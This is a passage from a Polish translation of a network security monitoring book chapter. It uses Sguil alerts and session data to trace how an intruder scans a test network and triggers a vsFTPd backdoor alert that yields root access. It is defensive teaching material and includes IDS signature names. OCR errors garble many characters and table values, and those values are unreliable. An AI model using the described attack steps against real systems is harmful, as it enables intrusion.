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Naruszenie
bezpieczenstwa
po stronie serwera

NADSZEDE MOMENT PRAWDY. TERAZ ]ESTES GOTOWY, ABY ZOBACZYC
NSM W DZIALANIU. W TYM ROZDZIALE ZAPRZEGNIEMY TEORIE,
NARZEDZIA I PROCES DO PRACY W PROSTYM SCENARIUSZU NARUSZE-
nia bezpieczenstwa. Jak dotad zaimplementowale$ sensor z systemem
SO i zebrates pewna ilos¢ danych NSM. Teraz planujesz przeprowadzenie
analizy dostepnego materiatu §ledczego.

Ten rozdzial demonstruje naruszenie bezpieczenstwa po stronie serwera —
jedna z gtéwnych kategorii zlosliwych dziatan w sieci, z ktérymi prawdopodob-
nie sie spotkasz. Nastepny rozdzial demonstruje naruszenie bezpieczeristwa po
stronie klienta, ktére moze wystepowaé nawet czeSciej niz wariant dotyczacy
serwera. Rozpoczynamy od naruszenia bezpieczefistwa po stronie serwera, ponie-
waz jest ono tatwiejsze do zrozumienia pod wzgledem koncepcyjnym.

Poniewaz jest to ksigzka o systemie NSM, w rozdziatach 10. i 11. przypa-
trzymy sie wzorcom wlamania dotyczacym dwéch popularnych typéw atakéw
skoncentrowanych wokot sieci. Na przyklad nie bedziemy analizowaé przypadku
podtaczenia do laptopa napedu USB ze zlosliwym oprogramowaniem czy odgad-
niecia hasta przez nikczemnika dziatajacego wewnatrz organizacji, majacego dostep
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do wewnetrznego terminala komputera. Skupimy sie natomiast na atakach poprzez
sieé. Sg to raczej ataki zdalne, a nie lokalne warianty wymagajace interakcji z sys-
temem, ktory jest juz fizycznie lub wirtualnie dostepny dla wtamywacza.

Charakterystyka naruszenia bezpieczenstwa
po stronie serwera

Naruszenie bezpieczefistwa po stronie serwera dotyczy sytuacji, gdy wlamy-
wacz decyduje sie na zaatakowanie aplikacji wystawionej na dostep z internetu.
Ty aplikacja moglaby by¢ ustuga WWW, ustuga protokotu transferu plikéw, baza
danych lub dowolne inne oprogramowanie nastuchujace ruch internetowy.
Rysunek 10.1 pokazuje wzorzec ataku wlasciwy dla naruszenia bezpieczenistwa
po stronie serwera.

1. Wtamywacz inicjuje atak na udostepniona w internecie
i zawierajaca luki bezpieczenstwa aplikacje na systemie ofiary

POLACZENIE SIECIOWE
Whamywacz — = = = = = = = = = = & & & — — —mmm—m—— - » Ofiara

Wykorzystana
luka
bezpieczenstwa

2. Atak jest przeprowadzany metoda polegajaca na
wykorzystaniu luki bezpieczenstwa w aplikacji na
systemie ofiary w celu wykonania kodu lub polecer

POLACZENIE SIECIOWE
Wlamywacz e e B e L R e e e - Ofiara

3. Ztosliwy kod wspdétdziata z wlamywaczem na jeden z trzech sposobow:
a. Wlamywacz zmienia przeznaczenie istniejacego potaczenia z aplikacja - ofiarg ataku
LUB
b. Wiamywacz inicjuje nowe potaczenie z furtka utworzona przez ztosliwy kod
LUB
c. Ztosliwy kod sprawia, ze ofiara sama nawiazuje kontakt z wlamywaczem

Rysunek 10.1. Wzorzec ataku wiasciwy dla naruszenia bezpieczeristwa po stronie
serwera

Wlamywacz siegnie po dostep do aplikacji, aby sie o niej wiecej dowiedzie¢.
To dzialanie bedace rekonesansem nalezy zakwalifikowa¢ jako incydent katego-
rii Cat 6, co zostalo oméwione w rozdziale 9. (patrz tabela 9.3). Jesli wlamywacz
prébuje wykorzystaé luki bezpieczefistwa w kodzie aplikacji, dziatanie to kwali-
fikuje sie jako incydent kategorii Cat 3. Jesli wlamywaczowi udaje sie sprawic,
ze aplikacja wykona jego zlosliwe polecenie, atak sie powi6dl i doszto do wyko-
rzystania luki bezpieczefistwa. Zgodnie z podziatem na kategorie zakreslonym
w tabeli 9.3 mamy teraz do czynienia z wlamaniem klasy Cat 1. Kiedy wlamywacz
wykona ztosliwy kod lub polecenia na komputerze ofiary, otwiera jeden lub wiecej
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kanal6w komunikacyjnych, aby jeszcze bardziej wzmocnié swojg kontrole nad
systemem. Taki kanal nazywa sie kanalem dowodzenia i kontroli (ang. command-
-and-control, C2). Ustanowienie kanalu C2 kwalifikuje to dzialanie jako wlamanie
Breach 3.

Kiedy juz wlamywacz ustanowi kanal C2 taczacy go z ofiara, moze wykonaé
reszte swojego planu gry. Byé moze chce ukrasé informacje z systemu swej
pierwszej ofiary. Byé moze chce przejsé z pierwszej ofiary na inny komputer lub
aplikacje wewnatrz przedsiebiorstwa. A by¢ moze chce przeskoczyé przez te
ofiare i zaatakowa¢ zupelnie inng organizacje, wykorzystujac swiezo zaatakowang
ofiare jako przeskok (ang. hop), czyli odskocznie.

Bez wzgledu na to, co wlamywacz zdecyduje sie zrobi¢ w nastepnym kroku,
celem zespotu CIRT jest w tym momencie szybkie okreslenie zakresu wtamania
i podjecie btyskawicznych dziatan powstrzymujacych, aby zmniejszy¢ ryzyko utraty
danych, ich zmiany lub degradacji.

Naruszenie bezpieczenstwa
po stronie serwera w akgcji

Kup ksigzke

W ramach przykladu zaprezentowanego w tym rozdziale przesledzimy krok po
kroku przypadek naruszenia bezpieczefistwa po stronie serwera, majacy miej-
sce, gdy wlamywacz atakuje udostepniong w internecie ustuge na komputerze
z lukami bezpieczenstwa, ktéry jest monitorowany przez autonomiczng platforme
NSM z uruchomionym systemem SO. Zbadamy, jak przykladowe wlamanie
wyglada w danych NSM, i postaramy sie odkryé¢, jak rozumie¢ te dane.

Siecig, ktora jest celem ataku, jest nowy segment w sieci firmy Vivian's Pets,
jak pokazano na rysunku 10.2. Sie¢ ta sktada sie z serwera (192.168.3.5), desk-
topa (192.168.3.13) i pomocniczego sprzetu sieciowego. Sensor NSM obserwuje
Iacze nadrzedne prowadzace do internetu za posrednictwem TAP’a sieciowego.
Czlonkowie zespotu CIRT przedsiebiorstwa utworzyli cos, co bylo, jak sadzili,
odizolowang siecia testowa z kilkoma komputerami, w celu poszerzenia swej
wiedzy o bezpieczenstwie. Niestety nie zapewnili systemom znajdujacym sie
w tym segmencie skutecznej ochrony. W trakcie préb nauczenia sie czegos wiecej
o bezpieczenstwie komputeréw mogli narazi¢ firme na dodatkowe ryzyko.

W przedstawionej konfiguracji platforma NSM bedzie widzieé ruch do i od
sieci testowej. Dla zachowania prostoty przyktadu skonfigurowalem sie¢ tak, ze
nie jest wymagane stosowanie techniki NAT. Kiedy obserwujesz interakcje sieci
testowej z komputerami znajdujacymi sie na zewnatrz sieci firmy Vivian's Pets,
powinienes przyjaé, ze translacja adreséw nie ma miejsca. (W rzeczywistosci
bedziesz prawdopodobnie musial sobie radzi¢ z pewnym stopniem zaciemnie-
nia obrazu ze wzgledu na kwestie zwigzane z technika NAT, ktére zostaly opisane
w rozdziale 2.).
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Siec

\tes_towa
Tap

Serwer
192.168.3.5

Desktop
192.168.3.13

Rysunek 10.2. Podsiec testowa sieci firmy Vivian's Pets

Rozpoczecie pracy od uruchomienia konsoli Sguil

Praca zespotu CIRT firmy Vivian's Pets rozpoczyna sie od odwiedzenia wlasnej
konsoli Sguil, ktérej zesp6t uzywa jako swojego podstawowego interfejsu do danych
NSM. Pamietaj, ze Sguil umozliwia analitykom badanie alertéw przez ogladanie
danych ses;ji i petnych danych, jak réwniez niektérych danych transake;i.

Pewnego dnia jeden z analitykéw loguje sie do konsoli Sguil platformy NSM
pokazanej na rysunku 10.2 i widzi alerty pokazane na rysunku 10.3.

Domyslnie konsola Sguil wyswietla dane alertéw. Pokazane tu alerty sa wyge-
nerowane gléwnie przez pasywny system wykrywania zasob6w PRADS (pozycje
poprzedzone oznaczeniem PADS) i motor IDS-u Snort (pozycje poprzedzone ozna-
czeniem GPL lub ET).

Widzimy mnéstwo zdarzeti PRADS ze zrédlowym adresem IP 203.0.113.10.
Ten adres IP reprezentuje zdalnego intruza. (Blok adreséw sieci 203.0.113.0/24
jest zarezerwowany do celé6w dokumentacyjnych na mocy dokumentu RFC
5735 razem z blokiem adreséw sieci 198.151.100.0/24, z ktérym spotkalismy sie
w rozdziale 2.).

Zdarzenia, zaczynajac od identyfikatora 4.75 w polu Alert ID (identyfikator
alertu) i koficzac na identyfikatorze 4.87, reprezentuja system PRADS zglaszajacy
odkrycie nowych ustug na dwéch komputerach: 192.168.3.5 i 192.168.3.13,
czyli dwoéch systemach w segmencie sieci testowe]j pokazanych na rysunku 10.2.
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L P ~ SGUIL-0.8.0- Connected To localhost . ;i e A X
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 16:54:03 GMT|

RealTime Evemsw Escalated E\lemsw

R

S T
RT 1 so.. 4.72 2013-03-0921:31:05 192.168.3.130 43181 192.168.3.1 53 17  PADS New Asset - unknown @domain
RT 1 so.. 4.75 2013-03-0921:32:07  203.0.113.10 59270 192.168.3.5 5900 6 PADS New Asset - vnc VNC (Protocol 003.003)
RT 1 so.. 4.74 2013-03-09 21:32:07  203.0.113.10 47085 192.168.3.5 22 6 PADS New Asset - ssh OpenSSH 4.7p1 (Protocol 2.0)
RT S [Rrs s 4.73 2013-03-09 21:32:07  203.0.113.10 46866  192.168.3.5 21 6 PADS New Asset - ftp vsFTPd 2.3.4
RT 1 so.. 4.77 2013-03-0921:32:08  203.0.113.10 44428 192.168.3.13 21 6 PADS New Asset - ftp vsFTPd 2.3.5
RT 1 so.. 4.78 2013-03-0921:32:08  203.0.113.10 39653 192.168.3.13 22 6 PADS New Asset - ssh OpenSSH 5.9p1 (Protocol 2.0)
RT 1 so.. 4.76 2013-03-0921:32:08  203.0.113.10 34202 192.168.3.5 6667 6 PADS New Asset - unknown @irc
RT MEsnt 4.80 2013-03-0921:32:13  203.0.113.10 37866 192.168.3.5 11 6 PADS New Asset - unknown @sunrpc
RT 1 so. 4.79 2013-03-0921:32:13  203.0.113.10 58031 192.168.3.5 2049 6 PADS New Asset - unknown @nfs
RT 2 so 4.81 2013-03-0921:32:13  203.0.113.10 51225 192.168.3.5 445 6 PADS New Asset - smb Windows SMB
RT 1 so.. 4.82 2013-03-0921:32:14  203.0.113.10 58527 192.168.3.5 80 6 PADS New Asset - http Apache 2.2.8 (Ubuntu)
RT b 4.84 2013-03-0921:32:17  203.0.113.10 44125 192.168.3.5 2121 6 PADS New Asset - ftp ProFTPD Server 1.3.1
RT 15 15075 4.85 2013-03-09 21:32:17  203.0.113.10 46856  192.168.3.5 25! 6 PADS New Asset - smtp Postfix SMTP (metasploitable.l...
RT eSS 4.83 2013-03-0921:32:17  203.0.113.10 54794 192.168.3.5 3306 6 PADS New Asset - unknown @mysql
RT 1 so.. 4.87 2013-03-0921:32:28  203.0.113.10 47992  192.168.3.5 8180 6 PADS New Asset - http Apache Coyote 1.1
- 1 so.. 3.6012 2013-03-0921:38:38  192.168.3.5 6200 203.0.113.10 60155 6 GPL ATTACK_RESPONSE id check returned root
- 2 so.. 3.6011 2013-03-0921:38:38  203.0.113.10 50376  192.168.3.5 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
RT 1 so.. 4.88 2013-03-0921:42:00 203.0.113.10 60155 192.168.3.5 6200 6 PADS New Asset - sql MySQL 3.0.20-0.1ubuntu1
- 2 so.. 3.6015 2013-03-1001:5%:43  203.0.113.77 192.168.3.5 1 GPL ICMP_INFO PING *NIX
- 2 so... 3.6014 2013-03-1001:5%:43  203.0.113.77 192.168.3.5 1 GPL ICMP_INFO PING BSDtype 7
-
7 o [~ Show Packet Data [ Show Rule
IP Resolution W Agent Status ] Snurtstatstw System Msgs ] I
[~ Reverse DNS I Enable External DNS Source IP Dest IP Ver HL TOS len ID Flags Offset TTL ChkSu_r'ni
Srcie: I N
Src Name: UAP RS F
Source Dest RRRCSSY I
DstIP: Port Port 1TOGKHTNN Seq# Ack#  Offset Res Window Urp ChkSum
Dst Name: E E AT ; i T T
Whois Query: = None (" SrcIP " DstIP TI : : i ‘ Sl s M

Rysunek 10.3. Konsola Sguil wyswietlajgca alerty dotyczqce sieci firmy Vivian’s Pets

Kiedy tylko PRADS dowiaduje sie o ustugach przez obserwowanie ich interak-
¢ji z komputerami, generuje tego rodzaju alerty. W tym przypadku wynik jest
uzytecznym zestawieniem przynajmniej niektérych z ustug, ktére — jak sie
okazuje — odkryl zdalny intruz o adresie 203.0.113.10. Poczgwszy od znacznika
czasu 2013-03-09 21:32:07 odpowiadajacego pierwszemu alertowi z warto$cig
203.0.113.10 w polu zrédltowego adresu IP, widzimy §lad intruza reprezentowa-
nego przez adres 203.0.113.10, ktéry przeprowadzit sieciowy rekonesans przeciwko
przynajmniej dwém komputerom znajdujacym sie w sieci testowe;.

A co z pozostalg aktywnoscia? Pierwszy alert ze zrédlowym adresem IP
192.168.3.130 wyglada na komunikat systemu PRADS zglaszajacego odkrycie
serwera DNS o adresie 192.168.3.1. To nic niezwyklego. Alerty wystepujace po
zdarzeniach PRADS z adresem Zrédlowym 203.0.113.10 wygladaja na bardziej
niepokojace.

Przed zaglebieniem sie w szczeg6ly tych alertéw zboczymy nieco z tematu,
aby sprawdzi¢ nasza hipoteze, ze intruz 203.0.113.10 przeprowadzil sieciowy
rekonesans wymierzony przeciw naszej sieci testowe;.

Kwerenda danych sesji przy uzyciu konsoli Sguil

Aby ustali¢, jaki doktadnie sieciowy rekonesans przeprowadzit intruz 203.0.113.10,
mozemy zapyta¢ konsole Sguil o dane sesji dotyczace ruchu ptynacego od i do hosta
o adresie 203.0.113.10. Ze wzgledu na liczbe docelowych ustug pokazanych
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RT
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RT
RT
RT
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w konsoli Sguil mozemy sie domysla¢, Ze intruz 203.0.113.10 przeskanowal wiele
portéw TCP na obydwu komputerach docelowych. Dlatego podczas wykony-
wania kwerendy danych sesji w konsoli Sguil recznie dopasujemy maksymalng
liczbe rekordéw danych sesji zwréconych w wyniku wyszukiwania, podnoszac ja
z 1000 do 10 000 rekord6w.

Aby wykonaé kwerende danych sesji, podswietlamy jeden z rekordéw alertow
zawierajacych warto$¢ 203.0.113.10 w polu zrédlowego adresu IP, a nastepnie
wybieramy opcje Advanced Query/Query Sancp Table/Query SrcIP (kweren-
da/kwerenda tabeli sancp/kwerenda przy uzyciu zrédtowego adresu IP), jak poka-
zano na rysunku 10.4.

Alert ID Date/Time Dst IP DPort

PADS New Asset

4.72 2013-03-0921:31:05 192.168.3.130 43181 192.168.3.1 53 17

4.75 2013-03-09 21:32:07  203.0.113.10 59270 192.168.3.5 5900 6 PADS New Asset

4.74 2013-03-09 21:32:07  Quick Query »i> 192.168.3.5 22 6 PADS New Asset

4.73 2013-03-09 21:32:07 [N ed Query Query Event Table »l 6 PADS New Asset

477 2013-03-0921:32:08 Dshield IP Lookup SN E s B AR S

478  2013-03-0921:32:08 203.0.113.10 396! Query PADS Table b Query SrcIP/1 Hou set

4.76 2013-03-0921:32:08 203.0.113.10 342 set
Query DstIP

4.80 2013-03-09 21:32:13  203.0.113.10 37866 192.168.3.5 set
Query DstIP/1 Hour

4.79 2013-03-09 21:32:13  203.0.113.10 58931 192.168.3.5 set
Query Src To Dst

4.81 2013-03-09 21:32:13  203.0.113.10 51225 192.168.3.5 set
Query Src To Dst/1 Hour

4.82 2013-03-09 21:32:14  203.0.113.10 58527 192.168.3.5 set

Rysunek 10.4.

Kwerenda danych sesji przy uzyciu Zrédfowego adresu IP

Wyswietlone w wyniku naszego wyboru okno Query Builder (konstruktor
zapytan) udostepnia dwa pola z klauzulami WHERE, kt6re mozemy edytowaé. Musimy
sie upewnié, ze domyslne czasy poczgtkowe dla rekordéw danych sesji wychwycg
dane, o ktére nam chodzi. W naszym przypadku aktywno$¢ rozpoczeta sie 9 marca
2013 r. 0 godz. 21:32:07 UTC, wiec modyfikujemy zawartosé¢ pél Where Clause
(klauzula WHERE), aby wyszukiwanie dotyczylo wlasciwego czasu, w sposéb poka-
zany na listingu 10.1.

Listing 10.1. Sktadnia klauzuli wyszukujqcej dane sesji dotyczqce adresu 203.0.113.10

WHERE sancp.start time > '2013-03-09' AND sancp.src_ip = INET_ATON('203.0.113.10')
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Zmieniamy takze warto$é¢ pola LIMIT w oknie Query Builder (konstruktor
zapytan) z 1000 na 10 000 rekordéw wyniku, a potem wybieramy opcje Submit
(przeslij), aby wykonaé kwerende. W odpowiedzi baza danych zwraca 2014 rekor-
déw, poczawszy od tych, ktére zostaly pokazane na rysunku 10.5.

Aktywnosé, ktérej zrédtem jest host 203.0.113. 10, rozpoczyna sie w punkcie
czasowym 2013-03-09 21:31:44. Mozemy rozbi¢ te sekwencje zdarzen na kilka
oddzielnych elementéw.

B Najpierw napastnik uzywa komunikatéw ICMP (1 w polu Protokdt nagtéwka IP),
aby wykonaé rekonesans wymierzony przeciw podzbiorowi systeméw
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File Query Reports Sound: Off ServerName: localhost UserName: sovm UserlD: 2 2013-03-13 18:20:24 GMT|
RealTime Euents] Escalated Euems\ Sancp Query 1 ]

Close || SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET_NTOA(sancp.src_ip), sancp.src_port, il Submit
INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX
Export (p_key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip =INET_ATON('203.0.113.10') ) UNION ( i Edit
CnxID t Time
sovm-eth1 5.1362864... 2013-03-09 21:31:44 2013-03-09 21:31:46  203.0.113.10 192.168.3.1 0 56 1] 0
sovm-eth1 5.1362864... 2013-03-09 21:31:44 2013-03-0921:31:46  203.0.113.10 192.168.3.130 o 56 o o
sovm-eth1 5.1362864...  2013-03-0921:31:44 2013-03-0921:31:44  203.0.113.10 192.168.3.5 0 8 1 8
sovm-eth1 5.1362864... 2013-03-09 21:31:44 2013-03-0921:31:46  203.0.113.10 192.168.3.13 o 24 3 24
sovm-eth1 5.1362864... 2013-03-09 21:31:45 2013-03-09 21:31:47  203.0.113.10 192.168.3.254 0 56 0 0
sovm-eth1 5.1362864... 2013-03-09 21:31:45 2013-03-09 21:31:47  203.0.113.10 0 192.168.3.131 o 56 o o
sovm-eth1 5.1362864...  2013-03-09 21:31:45 2013-03-0921:31:45  203.0.113.10 52935 192.168.3.1 80 20 0 0
sovm-eth1 5.1362864...  2013-03-09 21:31:45 2013-03-0921:31:45  203.0.113.10 52936 192.168.3.1 443 24 0 0
sovm-eth1 5.1362864... 2013-03-09 21:31:46 2013-03-0921:31:46  203.0.113.10 52935 192.168.3.130 80 20 ] 0
sovm-eth1 5.1362864... 2013-03-09 21:31:46 2013-03-0921:31:46  203.0.113.10 52935 192.168.3.130 443 24 o o
sovm-eth1 5.1362864... 2013-03-09 21:31:46 2013-03-0921:31:46  203.0.113.10 52936  192.168.3.130 80 20 0 0
sovm-eth1 5.1362864...  2013-03-09 21:31:46 2013-03-0921:31:46  203.0.113.10 52936 192.168.3.1 80 20 o 0
sovm-eth1 5.1362864... 2013-03-09 21:31:46 2013-03-0921:31:46  203.0.113.10 52936  192.168.3.130 443 24 0 0
sovm-eth1 5.1362864... 2013-03-09 21:31:47 2013-03-09 21:31:47  203.0.113.10 52935 192.168.3.131 80 20 o o
sovm-eth1 5.1362864... 2013-03-09 21:31:47 2013-03-09 21:31:47  203.0.113.10 52935 192.168.3.131 443 24 0 0
sovm-eth1 5.1362864...  2013-03-09 21:31:47 2013-03-0921:31:47 203.0.113.10 52935 192.168.3.254 80 20 0 0
sovm-eth1 5.1362864...  2013-03-09 21:31:47 2013-03-0921:31:47  203.0.113.10 52935 192.168.3.254 443 24 0 0
sovm-eth1 5.1362864... 2013-03-09 21:31:47 2013-03-0921:31:47  203.0.113.10 52936  192.168.3.254 80 20 o o
sovm-eth1 5.1362864... 2013-03-09 21:31:47 2013-03-09 21:31:47  203.0.113.10 52936  192.168.3.254 443 24 1] 0
sovm-eth1 5.1362864... 2013-03-09 21:31:47 2013-03-0921:31:47  203.0.113.10 52936  192.168.3.131 80 20 o 0
sovm-eth1 5.1362864...  2013-03-09 21:31:47 2013-03-0921:31:47 203.0.113.10 52936 192.168.3.131 443 24 0 0
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191 192.168.3.5 6692 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 48080 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191 192.168.3.13 999 24 1 20
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01 203.0.113.10 53191 192.168.3.13 3322 24 1 20
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01 203.0.113.10 53191 192.168.3.5 1974 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 9110 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 T7I8 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191 192.168.3.5 55555 24 1 20
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01 203.0.113.10 53191 192.168.3.13 554 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191 192.168.3.13 49165 24 1 20
i csbha € 40gnoca Sn43 A3 AR ae.a0.ae 9A19 A% ANA.9%.A1 Anand404n Eadna ann agonan cnca aa b an i
T B

Rysunek 10.5. Dane sesji dotyczqce ruchu od i do hosta o adresie 203.0.113.10 pokazujqce fazy |.
i 2. rekonesansu oraz poczqtek fazy 3.

w sieci 192.168.3.0/24. Nie mozemy by¢ tego pewni, ale by¢ moze intruz
przeprowadzit wczesniejszy rekonesans (tu niezarejestrowany), ktory
doprowadzit go do podjecia préb pingowania tylko tych szesciu systeméw.
Skanowanie z wykorzystaniem komunikatéw ICMP stanowi faze 1.
Nastepnie napastnik przechodzi do fazy 2. w czasie 2013-03-09 21:31:45,
ktéra sktada sie ze skanowania portéw TCP 80 i 443 na kilku systemach.

B Faza 3. rozpoczyna sie w czasie 2013-03-09 21:32:01 od skanowania
szerokiego wyboru portéw TCP. W fazie 4., kt6ra rozpoczyna sie od tego
samego znacznika czasu, widzimy mniejsze skanowania dotyczace
prawdopodobnie otwartych portéw. (Te dzialania sg tak szybkie,
ze wszystkie, jak sie okazuje, rozpoczynaja sie w tej samej sekundzie).
Rysunek 10.6 pokazuje koniec fazy 3. i poczatek fazy 4.

Faza 4. koniczy sie w czasie 2013-03-09 21:32:06 od ponownej zmiany taktyki
przez intruza. W czasie 2013-03-09 21:32:07 przeprowadza dodatkowy rekone-
sans, rozpoczynajac faze 5. — przepytywanie aktywnych ustug. Widzimy, jak
wysyla i odbiera wieksze ilosci danych, co pokazuja wartosci kolumn po prawej
stronie okna przedstawionego na rysunku 10.7. (Wicksze liczby bajtéw danych prze-
sylanych miedzy komputerami zwykle swiadcza o bardziej ,,znaczacej” konwersacji.
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L S . | SELOE s Capnred W losdlios: P O s B
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 18:23:35 GMT|
RealTime Evemsw Escalated Euems\ Sancp Query 1 ]
Close |(SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET_NTOA(sancp.src_ip), sancp.src_port, il Submit
INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX -
Export (p_key) INNER JOIN sensor OM sancp.sid=sensor.sid WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_ATON('203.0.113.10) ) UNION { 7l Edit
End Time t 0
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.13 1054 6 1 24 1 20
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.13 464 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 33899 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 1151 6 1 24 1 20
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 1082 6 1 24 1 20
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.13 912 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 445 6 2z 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 6667 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 6000 6 2 44 il 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.13 21 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 22 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 1 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 5432 6 7 44 1] 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 8180 6 2 44 1 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 5900 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 1099 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 1524 6 24 44 il 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 512 6 2 44 1 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 514 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 25 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 80 6 12 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 23 6 2 44 1 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 139 6 2 44 1] 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.13 22 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 8009 6 2 44 ! 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 2049 6 2 44 1, 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 2121 6 2 44 1 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 21 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 513 6 2 44 1 24 )
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 53 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 3306 6 i 44 1 24 v
T e

Rysunek 10.6. Faza 3. rekonesansu koriczy sie, a rozpoczyna sie faza 4.

Jesli wystepuja mniejsze liczby bajtéw, jest to zwykle tylko wymiana informacji
o stanie polaczenia wystepujaca na przyklad w uzgadnianiu tréjetapowym pro-
tokolu TCP).

Kolumny wys$wietlone na rysunku 10.7 pokazujg liczbe pakietéw i bajtéw
danych wystanych przez zrédto oraz liczbe pakietéw i bajtéw danych wystanych
przez punkt docelowy. Wlamywacz prawdopodobnie stara sie okresli¢ profil
aktywnych ustug celu swoich dziatan, uzywajac narzedzia rekonesansu do zbie-
rania informacji o dostepnych ustugach. Intruz poré6wnuje informacje pochodzace
ze skanowania, aby znalez¢ dostepne metody ataku, a jesli znajdzie taka, ktéra
wykorzystuje odstoniety luke bezpieczenstwa, zdyskontuje te stabosé.

Finalna faza dziatan rozpoczyna sie w czasie 2013-03-09 21:38:38, jak poka-
zano na rysunku 10.8. Narzedzie rekonesansu, z ktérego korzystal intruz, zakon-
czylo zbieranie informacji i wlamywacz robi przerwe na przejrzenie swoich wyni-
kéw. Okazuje sie, ze po odkryciu stabosci wykorzystuje ja, chociaz moze to nie
wynikaé w oczywisty sposéb z danych pokazanych na rysunku 10.8. (Sprawdzimy
odnosne dane alertéw w oryginalnym oknie konsoli Sguil dla uzyskania jasnosci).
Na razie przejrzyjmy rekordy danych sesji rozpoczynajace sie od czasu 21:38:38,
jak pokazano na rysunku 10.8.

Sesje zaczynajace sie w czasie 21:38:38 bardzo r6znia sie od wcze$niejszych
